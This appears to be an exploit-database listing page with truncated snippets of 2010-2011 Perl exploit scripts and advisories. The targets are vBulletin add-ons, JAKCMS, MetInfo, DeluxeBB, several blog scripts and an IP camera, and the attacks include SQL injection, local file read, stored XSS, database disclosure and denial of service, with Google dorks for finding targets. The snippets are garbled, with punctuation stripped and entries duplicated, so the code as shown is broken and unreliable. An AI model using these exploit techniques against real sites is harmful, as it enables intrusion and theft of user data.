EggAvatar 2.3.2 for vBulletin 3.8.x - Local File Read

EggAvatar 2.3.2 for vBulletin 3.8.x - Local File Read !/usr/bin/env perl use LWP::UserAgent; sub banner print "\n"; print " DSecurity \n"; print "\n"; print " Email:dsecurity.vnatgmail.com \n"; print "\n"; if@ARGVnew; $ua-agent"DSecurity"; print "\n\n"; print " EggAvatar for vBulletin 3.8.x local...

EggAvatar 2.3.2 for vBulletin 3.8.x - Local File Read

!/usr/bin/env perl use LWP::UserAgent; sub banner print "\n"; print " DSecurity \n"; print "\n"; print " Email:dsecurity.vnatgmail.com \n"; print "\n"; if@ARGVnew; $ua-agent"DSecurity"; print "\n\n"; print " EggAvatar for vBulletin 3.8.x local file read \n"; print " Date:07-03-2011 \n"; print "...

vBulletin 3.8.x EggAvatar SQL Injection Vulnerability

Exploit for php platform in category web applications !/usr/bin/env perl use LWP::UserAgent; sub banner print "\n"; print " DSecurity \n"; print "\n"; print " Email:dsecurity.vnatgmail.com \n"; print "\n"; if@ARGVnew; $ua-agent"DSecurity"; $ua-cookiejar; sub login@ my $username=shift; my...

EggAvatar for vBulletin 3.8.x - SQL Injection

!/usr/bin/env perl use LWP::UserAgent; sub banner print "\n"; print " DSecurity \n"; print "\n"; print " Email:dsecurity.vnatgmail.com \n"; print "\n"; if@ARGVnew; $ua-agent"DSecurity"; $ua-cookiejar; sub login@ my $username=shift; my $password=shift; my $req = HTTP::Request-newPOST =...

cChatBox for vBulletin 3.6.83.7.x - SQL Injection

cChatBox for vBulletin 3.6.83.7.x - SQL Injection !/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent-new; $ua-agent"MyApp/0.1 "; print "\n"; print " EXPLOIT \n"; print "\n"; print " Portal: cchatbox \n"; print " Bug: SQLI \n"; print " Author: DSecurity \n"; print " Coder: vv0lll \n"; print...

cChatBox For vBulletin 3.6.8 / 3.7.x SQL Injection

!/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent-new; $ua-agent"MyApp/0.1 "; print "\n"; print " EXPLOIT \n"; print "\n"; print " Portal: cchatbox \n"; print " Bug: SQLI \n"; print " Author: DSecurity \n"; print " Coder: vv0lll \n"; print "\n"; print "Use: exploit.pl address numberuser...

JAKCMS 2.0 PRO RC5 stored XSS via useragent HTTP header Injection

Exploit for php platform in category web applications Exploit Title: JAKCMS 2.0 PRO RC5 stored XSS via useragent HTTP header Injection Date: 7-2-2011 Author: Saif El-Sherei Software Link: http://php.opensourcecms.com/scripts/redirect/download.php?id=480 Version: JAKCMS PRO 2.0 RC5 and probably...

jakcms 2.0 pro rc5 - Persistent Cross-Site Scripting via useragent http header Injection

Exploit Title: JAKCMS 2.0 PRO RC5 stored XSS via useragent HTTP header Injection Date: 7-2-2011 Author: Saif El-Sherei Software Link: http://php.opensourcecms.com/scripts/redirect/download.php?id=480 Version: JAKCMS PRO 2.0 RC5 and probably earlier version Tested on: Firefox 3.0.15, , IE 8 Vendor...

jakcms 2.0 pro rc5 - Persistent Cross-Site Scripting via useragent http header Injection

jakcms 2.0 pro rc5 - Persistent Cross-Site Scripting via useragent http header Injection Exploit Title: JAKCMS 2.0 PRO RC5 stored XSS via useragent HTTP header Injection Date: 7-2-2011 Author: Saif El-Sherei Software Link: http://php.opensourcecms.com/scripts/redirect/download.php?id=480 Version:...

Virtual Store Open 3.0 - Acess SQL Injection

!/usr/bin/perl Script Name: Virtual Store Open = 3.0 Link1 : http://www.virtuastore.com.br/shopping.asp?link=ShoppingVirtuaStore Link2 : http://www.virtuastore2010.com.br/ Link3 Yahoo Group : http://br.groups.yahoo.com/group/virtuastore/ Bug: Acess Sql Injection Found: Br0ly google dork:...

Motobit PureASP file upload v2.0 Database Disclosure Exploit

Exploit for perl platform in category web applications ============================================================ Motobit PureASP file upload v2.0 Database Disclosure Exploit ============================================================ !/usr/bin/perl -w Motobit PureASP file upload v2.0 Database...

Camtron CMNC-200 IP Camera - Denial of Service

Camtron CMNC-200 IP Camera - Denial of Service Finding 5: Camera Denial of Service CVE: CVE-2010-4234 The CMNC-200 IP Camera has a built-in web server that is vulnerable to denial of service attacks. Sending multiple requests in parallel to the web server may cause the camera to reboot. Requests...

DeluxeBB 1.3 - Private Information Disclosure

====================================================================== DeluxeBB new; $bro-agent"Mozilla/5.0 Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14 Gecko/20080404 Firefox/2.0.0.14"; $bro-defaultheader"Cookie" = "membercookie=$membercookie; memberpw=$memberpw; memberid=$memberid"; sub gener...

MetInfo 2.0 - PHP Code Injection

Exploit Title£ºMetInfo 2.0 PHP Code Injection Vulnerability Date:2010-10-31 Author£ºlinux520.com Team£ºhttp://www.linux520.com/ Vendor£ºhttp://www.metinfo.cn/ Dork£º"Powered by MetInfo 2.0 " Google: 90,000 + results Price£º free Language£ºPHP Greetz£ºCCAV +Description£º at 132 line of...

fatihsoftblog-(tr) Database Disclosure Exploit

!/usr/bin/perl -w fatihsoftblog-tr Database Disclosure Exploit Found & Coded: indoushka Date: 25/07/2010 Home: http://www.hack-r1z.com/cc/ Dz-Ghost Team ===== Saoucha Star08 Cyber Sec theblind74 XproratiX onurozkan n2n Meher Assel =========================== special thanks to : r0073r inj3ct0r.co...

icblogger full-(tr) (mail.mdb) Database Disclosure Exploit

!/usr/bin/perl -w icblogger full-tr mail.mdb Database Disclosure Exploit Found & Coded: indoushka Date: 25/07/2010 Home: http://www.hack-r1z.com/cc/ Dz-Ghost Team ===== Saoucha Star08 Cyber Sec theblind74 XproratiX onurozkan n2n Meher Assel =========================== special thanks to : r0073r...

Kisisel Radyo Script - Multiple Vulnerabilities

Exploit for php platform in category web applications =============================================== Kisisel Radyo Script - Multiple Vulnerabilities =============================================== Author: FuRty Contact : email protected Thanks: RedGuard, KnocKout, TrSniper and all Justic3 Group...

fatihsoftblog-(tr) Database Disclosure Exploit

Exploit for perl platform in category web applications ============================================== fatihsoftblog-tr Database Disclosure Exploit ============================================== !/usr/bin/perl -w fatihsoftblog-tr Database Disclosure Exploit Found & Coded: indoushka Date: 25/07/201...

blogit-(ing) Database Disclosure Exploit

Exploit for perl platform in category web applications ======================================== blogit-ing Database Disclosure Exploit ======================================== !/usr/bin/perl -w blogit-ing Database Disclosure Exploit Found & Coded: indoushka Date: 25/07/2010 Home:...

icblogger full-(tr) (mail.mdb) Database Disclosure Exploit

Exploit for perl platform in category web applications ========================================================== icblogger full-tr mail.mdb Database Disclosure Exploit ========================================================== !/usr/bin/perl -w icblogger full-tr mail.mdb Database Disclosure...